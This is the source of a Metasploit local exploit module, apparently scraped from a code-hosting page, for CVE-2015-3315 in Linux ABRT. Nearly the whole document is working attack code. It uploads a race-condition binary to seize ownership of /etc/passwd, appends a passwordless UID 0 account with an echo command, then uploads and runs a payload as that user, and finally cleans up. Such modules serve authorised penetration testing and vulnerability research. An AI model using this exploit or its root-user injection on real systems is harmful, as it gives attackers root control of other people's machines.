Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/local/abrt_raceabrt_priv_esc.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Exploit::EXE10include Msf::Exploit::FileDropper1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'ABRT raceabrt Privilege Escalation',17'Description' => %q{18This module attempts to gain root privileges on Linux systems with19a vulnerable version of Automatic Bug Reporting Tool (ABRT) configured20as the crash handler.2122A race condition allows local users to change ownership of arbitrary23files (CVE-2015-3315). This module uses a symlink attack on24`/var/tmp/abrt/*/maps` to change the ownership of `/etc/passwd`,25then adds a new user with UID=0 GID=0 to gain root privileges.26Winning the race could take a few minutes.2728This module has been tested successfully on:2930abrt 2.1.11-12.el7 on RHEL 7.0 x86_64;31abrt 2.1.5-1.fc19 on Fedora Desktop 19 x86_64;32abrt 2.2.1-1.fc19 on Fedora Desktop 19 x86_64;33abrt 2.2.2-2.fc20 on Fedora Desktop 20 x86_64;34abrt 2.3.0-3.fc21 on Fedora Desktop 21 x86_64.35},36'License' => MSF_LICENSE,37'Author' => [38'Tavis Ormandy', # Discovery and C exploit39'bcoles' # Metasploit40],41'DisclosureDate' => '2015-04-14',42'Platform' => [ 'linux' ],43'Arch' => [ ARCH_X86, ARCH_X64 ],44'SessionTypes' => [ 'shell', 'meterpreter' ],45'Targets' => [[ 'Auto', {} ]],46'References' => [47[ 'CVE', '2015-3315' ],48[ 'EDB', '36747' ],49[ 'BID', '75117' ],50[ 'URL', 'https://gist.github.com/taviso/fe359006836d6cd1091e' ],51[ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/14/4' ],52[ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/16/12' ],53[ 'URL', 'https://github.com/abrt/abrt/commit/80408e9e24a1c10f85fd969e1853e0f192157f92' ],54[ 'URL', 'https://access.redhat.com/security/cve/cve-2015-1862' ],55[ 'URL', 'https://access.redhat.com/security/cve/cve-2015-3315' ],56[ 'URL', 'https://access.redhat.com/articles/1415483' ],57[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211223' ],58[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211835' ],59[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1218239' ]60],61'Compat' => {62'Meterpreter' => {63'Commands' => %w[64stdapi_fs_stat65stdapi_sys_process_execute66]67}68}69)70)71register_options(72[73OptInt.new('TIMEOUT', [ true, 'Race timeout (seconds)', '900' ]),74OptString.new('USERNAME', [ false, 'Username of new UID=0 user (default: random)', '' ])75]76)77register_advanced_options [78OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])79]8081self.needs_cleanup = true82end8384def base_dir85datastore['WritableDir']86end8788def timeout89datastore['TIMEOUT']90end9192def check93if immutable?('/etc/passwd')94vprint_error 'File /etc/passwd is immutable'95return CheckCode::Safe96end9798kernel_core_pattern = cmd_exec 'grep abrt-hook-ccpp /proc/sys/kernel/core_pattern'99unless kernel_core_pattern.include? 'abrt-hook-ccpp'100vprint_error 'System is NOT configured to use ABRT for crash reporting'101return CheckCode::Safe102end103vprint_good 'System is configured to use ABRT for crash reporting'104105if cmd_exec('[ -d /var/spool/abrt ] && echo true').include? 'true'106vprint_error "Directory '/var/spool/abrt' exists. System has been patched."107return CheckCode::Safe108end109vprint_good 'System does not appear to have been patched'110111unless cmd_exec('[ -d /var/tmp/abrt ] && echo true').include? 'true'112vprint_error "Directory '/var/tmp/abrt' does NOT exist"113return CheckCode::Safe114end115vprint_good "Directory '/var/tmp/abrt' exists"116117if cmd_exec('systemctl status abrt-ccpp | grep Active').include? 'inactive'118vprint_error 'abrt-ccp service NOT running'119return CheckCode::Safe120end121vprint_good 'abrt-ccpp service is running'122123pkg_info = cmd_exec('yum list installed abrt | grep abrt').to_s124abrt_version = pkg_info[/^abrt.*$/].to_s.split(/\s+/)[1]125unless abrt_version.blank?126vprint_status "System is using ABRT package version #{abrt_version}"127end128129CheckCode::Detected130end131132def upload_and_chmodx(path, data)133print_status "Writing '#{path}' (#{data.size} bytes) ..."134rm_f path135write_file path, data136cmd_exec "chmod +x '#{path}'"137register_file_for_cleanup path138end139140def exploit141if check != CheckCode::Detected142fail_with Failure::NotVulnerable, 'Target is not vulnerable'143end144145@chown_file = '/etc/passwd'146147if datastore['USERNAME'].blank?148@username = rand_text_alpha rand(7..10)149else150@username = datastore['USERNAME']151end152153# Upload Tavis Ormandy's raceabrt exploit:154# - https://www.exploit-db.com/exploits/36747/155# Cross-compiled with:156# - i486-linux-musl-cc -static raceabrt.c157path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2015-3315', 'raceabrt'158fd = ::File.open path, 'rb'159executable_data = fd.read fd.stat.size160fd.close161162executable_name = ".#{rand_text_alphanumeric rand(5..10)}"163executable_path = "#{base_dir}/#{executable_name}"164upload_and_chmodx executable_path, executable_data165166# Change working directory to base_dir167cmd_exec "cd '#{base_dir}'"168169# Launch raceabrt executable170print_status "Trying to own '#{@chown_file}' - This might take a few minutes (Timeout: #{timeout}s) ..."171output = cmd_exec "#{executable_path} #{@chown_file}", nil, timeout172output.each_line { |line| vprint_status line.chomp }173174# Check if we own /etc/passwd175unless cmd_exec("[ -w #{@chown_file} ] && echo true").include? 'true'176fail_with Failure::Unknown, "Failed to own '#{@chown_file}'"177end178179print_good "Success! '#{@chown_file}' is writable"180181# Add new user with no password182print_status "Adding #{@username} user to #{@chown_file} ..."183cmd_exec "echo '#{@username}::0:0::/root:/bin/bash' >> #{@chown_file}"184185# Upload payload executable186payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"187upload_and_chmodx payload_path, generate_payload_exe188189# Execute payload executable190vprint_status 'Executing payload...'191cmd_exec "/bin/bash -c \"echo #{payload_path} | su - #{@username}&\""192end193194def on_new_session(session)195if session.type.to_s.eql? 'meterpreter'196session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'197end198199# Reinstate /etc/passwd root ownership and remove new user200root_owns_passwd = false201new_user_removed = false202203if session.type.to_s.eql? 'meterpreter'204# Reinstate /etc/passwd root ownership205session.sys.process.execute '/bin/sh', "-c \"chown root:root #{@chown_file}\""206207# Remove new user208session.sys.process.execute '/bin/sh', "-c \"sed -i 's/^#{@username}:.*$//g' #{@chown_file}\""209210# Wait for clean up211Rex.sleep 5212213# Check root ownership214passwd_stat = session.fs.file.stat(@chown_file).stathash215if passwd_stat['st_uid'] == 0 && passwd_stat['st_gid'] == 0216root_owns_passwd = true217end218219# Check for new user in /etc/passwd220passwd_contents = session.fs.file.open(@chown_file).read.to_s221unless passwd_contents.include? "#{@username}:"222new_user_removed = true223end224elsif session.type.to_s.eql? 'shell'225# Reinstate /etc/passwd root ownership226session.shell_command_token "chown root:root #{@chown_file}"227228# Remove new user229session.shell_command_token "sed -i 's/^#{@username}:.*$//g' #{@chown_file}"230231# Check root ownership232passwd_owner = session.shell_command_token "ls -l #{@chown_file}"233if passwd_owner.to_s.include? 'root'234root_owns_passwd = true235end236237# Check for new user in /etc/passwd238passwd_user = session.shell_command_token "grep '#{@username}:' #{@chown_file}"239unless passwd_user.to_s.include? "#{@username}:"240new_user_removed = true241end242end243244unless root_owns_passwd245print_warning "Could not reinstate root ownership of #{@chown_file}"246end247248unless new_user_removed249print_warning "Could not remove user '#{@username}' from #{@chown_file}"250end251rescue => e252print_error "Error during cleanup: #{e.message}"253ensure254super255end256end257258259